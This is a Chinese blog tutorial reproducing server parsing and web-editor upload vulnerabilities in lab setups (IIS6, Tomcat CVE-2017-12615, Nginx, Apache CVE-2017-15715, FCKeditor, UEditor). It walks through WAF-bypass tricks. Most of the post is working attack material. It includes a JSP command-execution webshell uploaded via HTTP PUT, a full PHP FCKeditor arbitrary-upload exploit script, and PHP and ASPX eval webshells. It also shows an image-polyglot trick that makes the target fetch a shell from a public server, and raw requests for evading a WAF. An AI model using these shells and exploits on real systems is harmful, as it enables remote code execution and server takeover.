首页 > 其他分享 >解析与编辑器漏洞

解析与编辑器漏洞

时间:2024-02-05 19:33:37浏览次数:27  
标签:compose 代码 点击 Content 漏洞 编辑器 docker 解析 php

一、解析漏洞
需要vulhub环境。

点击查看代码
编译:sudo docker-compose build
启动:sudo docker-compose up -d
关闭:sudo docker-compose down

1、IIS6

vulhub 里面没有 IIS 的靶场,可以用课程资料的03 server r1版本,用户名密码:administrator/123456。

解析漏洞介绍
1)当建立.asa、.asp 格式的文件夹时,其目录下的任意文件都将被 IIS 当做 asp 文件解析。
2)当文件*.asp;1.jpg IIS6.0 同样会将文件当做 asp 文件解析。

步骤

  • 新建一个 IIS.ASP 文件
点击查看代码
<% response.write("i am hacker")%>
  • 把 IIS.ASP 复制一份,命名为 IIS.asp;IIS.jpg
  • 把 IIS.asp;IIS.jpg,放到网站目录C:\IIS6Web
  • 访问服务器地址IP路径

2、tomcat

1)思路:当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法,攻击者将可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。

点击查看代码
cd /home/enjoy/vulhub-master/tomcat/CVE-2017-12615
docker-compose build
docker-compose up -d
docker-compose config

2)宿主机访问虚拟机 http://192.168.254.135:8080/

3)使用 BP 发包,上传.jsp 文件

点击查看代码
PUT /1.jsp/ HTTP/1.1
Host: 192.168.254.135:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 750

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();
try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream())); 
String temp = null;while ((temp = buf.readLine()) != null) {
line.append(temp+"\n");}buf.close();} catch (Exception e) {
line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){
out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

4)访问 http://192.168.254.135:8080/1.jsp?&pwd=023&cmd=dir,在CMD="可以施展dir以外的任何DOS命令"

3、Nginx

思路:1.jpg/.php -> 1.jpg 会被当成 php 格式解析加上/.php 后文件以 php 格式解析。
服务器端
cd /home/enjoy/vulhub-master/nginx/nginx_parsing_vulnerability

点击查看代码
sudo docker-compose build
sudo docker-compose up -d
sudo docker-compose config

宿主机输入虚拟机服务器IP:192.168.254.135,上传图片文件

访问:http://192.168.254.135/uploadfiles/db7f1a5d97d66c9bba4550973b6dafc8.png/a.php

4、Apache
思路:apahe解析文件时有一个特性,Apache默认一个文件可以有多个以点分割的后缀,apache 会从最右边开始识别其后缀名,只要一个文件含有.php 后缀的文件即将被识别成 PHP 文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。
1)虚拟机服务器开启相关服务

点击查看代码
cd /home/enjoy/vulhub-master/httpd/apache_parsing_vulnerability
sudo docker-compose build
sudo docker-compose up -d
sudo docker-compose config
2)把 webshell.png图片文件修改扩展名为webshell.php.png上传

5、Apache 换行解析漏洞
思路:2.4.0~2.4.29 版本中存在一个解析漏洞,在解析 PHP 时,1.php\x0A 将被按照 PHP后缀进行解析,导致绕过一些服务器的安全策略。
1)虚拟机服务器端命令

点击查看代码
cd /home/enjoy/vulhub-master/httpd/CVE-2017-15715
sudo docker-compose build
sudo docker-compose up -d
sudo docker-compose config

2)访问 http://192.168.254.135:8080/index.php,上脚本

3)BP 拦截,将抓到的包中文件名evil.php修改为1.php

4)发送给Repeater,切换到Hex 16进制代码,在 1.php 附近代码行查找 70 与 0d,在两组字节之间insert byte:0a,然后send

5)切换Repeater,将POST/后index.php替换为1.php%0a然后send,response-render出现服务器PHP版本信息说明文件上传成功,漏洞复现完成。

二、编辑器漏洞
1)fckeditor编辑器漏洞
思路:将fckeditor解压至upload-labs 靶场的D:\upload-labs-env目录内,修改fckeditor\editor\filemanager\connectors\php\路径下config.php文件

访问 http://localhost/fckeditor/_whatsnew.html

新建 .php文件

点击查看代码
<?php
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
define(STDIN, fopen("php://stdin", "r"));
$match = array();
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
print $resp;
return $resp;
}
function connector_response($html)
{
global $match;
return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) &&
in_array($match[1], array(0, 201)));
}
print "\n+------------------------------------------------------------------+";
print "\n| FCKEditor Servelet Arbitrary File Upload Exploit |";
print "\n+------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /\n";
print "\nExample....: php $argv[0] localhost /FCKEditor/\n";
die();
}
$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);
$filename = "fvck.gif";
$foldername = "fuck.php%00.gif";
$connector = "editor/filemanager/connectors/php/connector.php";
$payload = "-----------------------------265001916915724\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\";
filename=\"{$filename}\"\r\n";
$payload .= "Content-Type: image/jpeg\r\n\r\n";
$payload .= 'GIF89a'."\r\n".'<?php eval($_POST[cmd]) ?>'."\n";
$payload .= "-----------------------------265001916915724--\r\n";
$packet = "POST
{$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername."
HTTP/1.0\r\n";//print $packet;
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=---------------------------
265001916915724\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
print $packet;
if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");
else print "\n[-] Job done! try http://${host}/$match[2] \n";
?>

命令拼接

点击查看代码
cd D:\upload-labs-env\PHP>(找到包含php.exe文件的目录CMD)php.exe(输入php.exe) C:\Users\运输大队长\Desktop\fck.php(拖拽.php文件至CMD) 127.0.0.1:80 /fckeditor/(复制fckeditor固定文件路径)
   D:\upload-labs-env\PHP>php.exe C:\Users\运输大队长\Desktop\fck.php 127.0.0.1:80 /fckeditor/

以上操作只为上传一个.php这件事!

点击查看代码
<?php eval($_POST[cmd]) ?>
          ($_POST[cmd])使用POST方式获取cmd的参数
      eval把获得的参数当作代码来执行
他到底能干点啥? 此处应该有掌声!

2、ueditor
需要 windows 2008 环境,需要外网服务器
1)虚拟机加载2008,开始菜单打开IIS应用
方法1:网站目录下uedit,右侧点击浏览网站(端口号88)

方法2:ipconfig本机IP地址+端口号,使用浏览器操作

2)访问连接,http://192.168.254.136:88/net/controller.ashx,以下界面表示搭建环境正常

3)上 shell.aspx 文件

点击查看代码
<% @Page Language="Jscript"%><%eval(Request.Item["req"],"unsafe");%>

4)制作图片文件

点击查看代码
copy image.png /b + shell.aspx /a ueditor.jpg
5)把 ueditor.jpg 上传公网服务器,需要靶机也能访问到:http://139.224.136.101:8082/app/ueditor.jpg 6)新建一个 .html文件
点击查看代码
<form action="http://192.168.254.136:88/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST"> 
<p>shell addr: <input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>
7)打开up.html文件,文本框输入:http://139.224.136.101:8082/app/ueditor.jpg?.aspx ![](/i/l/?n=24&i=blog/3388721/202402/3388721-20240205191211051-1879127047.png)

3、Waf 绕过
(安全狗)环境

点击查看代码
cd C:\Users\86188\Desktop\tool\upload-labs-env\Apache\bin
httpd.exe -k install -n apache2.0
#如果要删除
sc delete apache2.0
**绕过方式**

1)垃圾数据溢出**就在验证的字段里面写很多垃圾数据

BP修改代码

点击查看代码
POST /Pass-02/index.php HTTP/1.1
Host: 192.168.0.25
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101
Firefox/118.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------
13579348911060107162093134725
Content-Length: 823
Origin: http://192.168.0.25
Connection: close
Referer: http://192.168.0.25/Pass-02/index.php
Upgrade-Insecure-Requests: 1-----------------------------13579348911060107162093134725
Content-Disposition: form-data;
asdasdasdasdasdasddasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdassdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdassdsasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasasdddasdasdasdasdasdasasdasaddasdasdadasdasdasdasdasdassdasdasdasasdasdasdasdasdassdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdassssssdasdasdasdasdasdasdasdasdasdasdasdas;
name="upload_file"; filename="info.php"
Content-Type: image/png

-----------------------------13579348911060107162093134725
Content-Disposition: form-data; name="submit" 上传
-----------------------------13579348911060107162093134725--
2)符号编译 就是使用不正确的的符号来绕过 ![](/i/l/?n=24&i=blog/3388721/202402/3388721-20240205191642082-1851697946.png)
点击查看代码
-----------------------------13579348911060107162093134725
Content-Disposition: form-data;name="upload_file"; filename="info.php;
Content-Type: image/png

3)数据截断 分号代表一个语句的结束

点击查看代码
Content-Disposition: form-data;name="upload_file";
filename="x.jpg;.php";
Content-Type: image/png

4)换行

点击查看代码
Content-Disposition: form-data;name="upload_file";
filename="
a
.
p
h
p";
Content-Type: image/png

4、fuzz测试

标签:compose,代码,点击,Content,漏洞,编辑器,docker,解析,php
From: https://www.cnblogs.com/zhangwei0885/p/18008700

相关文章

  • C#多线程编程的Task(任务全面解析)
    原文链接:https://www.cnblogs.com/xietianjiao/p/7429742.htmlTask是.NET4.0加入的,跟线程池ThreadPool的功能类似,用Task开启新任务时,会从线程池中调用线程,而Thread每次实例化都会创建一个新的线程。 我们可以说Task是一种基于任务的编程模型。它与thread的主要区别是,它更加方便......
  • 关于easyExcel解析未添加@ExcelProperty报错问题分析
    在一次做辅料商品导出列表的需求,并且上线之后发现,怎么商品列表的导出没有反应,一看日志,发现报错了:这里新加了两个字段用于做转换使用。因为之前很少用easyExcel,所以以为只要不加@ExcelProperty,easyExcel就不会去解析字段,没想到easyExcel还是去做了解析。源码分析通过上面的......
  • c++利用 STL解析ini 文件
    ini文件是InitializationFile的缩写,即初始化文件,通常存放的是一个程序的初始化信息,是Windows的系统配置文件所采用的存储格式,统管windows的各项配置。ini文件的后缀名不一定是.ini,也可以是.cfg、.conf或者是.tx*。ini文件是技术人员经常用到的一种系统配置方法,如何读取和快速识别......
  • 汽车网络安全,防止汽车软件中的漏洞
    喜欢本篇文章的话记得点赞评论⭐收藏 汽车网络安全在汽车开发中至关重要,尤其是在汽车软件日益互联的情况下。在这篇博客中,我们将分享如何防止汽车网络安全漏洞。 Jumpto你喜欢的部分 为什么汽车网络安全很重要?主要汽车网络安全漏洞内存缓冲区问题代码注入顶级汽车......
  • joplin集成vscode做编辑器
    joplin集成vscode做编辑器为什么joplin已有markdown的编辑功能,为什么还要寻求其他编辑器呢。有些更强大的编辑功能,需要借助vscode才有。而右键点击笔记上的“在外部编辑器中编辑”打开了本地的sublime。(ubuntu操作系统)怎么做前提条件Joplinversion>v2.8VSCodeversion......
  • 【纯干货】如何通过技术白嫖96编辑器vip或者企业模板?
    每次公众号排版都去找免费模板,找的头都秃了,但其实好多编辑器(秀米和这个一样)都可以白嫖,教程很简单(需要简单能看懂代码(认识阿拉伯字母就行))这个96编辑器一直在用,模板超级多,基本上不用再为排版发愁了,一个模板套着弄,直接填文字内容换图片就可以,其实免费的已经够用了,但如果有VIP那就更......
  • 基于光纤传感器的微振动信号采集监测模块特色解析
    概念 光纤传感器是一种通过光纤线缆来传输光信号,并将光信号转换为电信号的传感器,光纤传感器一般是由形状各样的光纤探头+光纤线缆+光纤放大器组成。光纤传感器的原理是将来自光源的光经过光纤送入调制器,使待测参数与进入调制区的光相互作用后,导致光的光学性质(如光的强度、波长、......
  • DNS--简介&&解析过程
    1 功能将域名解析为IP地址基本解决IP难于记忆的问题也可以将IP地址解析为域名 2 域名由一连串用点(.)分隔的字符串组成的标识计算机在网络中的电子方位的 3 存储位置linux/etc/hostswindowsC:\WUNDOWS\system32\drivers\etc\hosts 4 全质量域名/完全域名......
  • DNS--解析
    一 正向解析(域名解析成ip)1 修改主配置文件[root@localhost~]#cp-p/etc/named.conf/etc/named.conf.bak[root@localhost~]#vim/etc/named.confoptions{listen-onport53{any;};#默认127.0.0.1,会导致其他人无法访问DNS服务器,需修改allow-qu......
  • DNS--智能地址解析(view视图)
    域名:xinenhui.comDNS服务器:192.168.198.128DNS1:192.168.198.129DNS2:192.168.198.146 1 简介使客户端就近访问DNS服务器来加速用户的访问速度 提高客户端体验不同的客户端使用同一个DNS服务器解析同一个域名得到不同的IP 2 修改主配置文件 设置view[root@localhost~]#vi......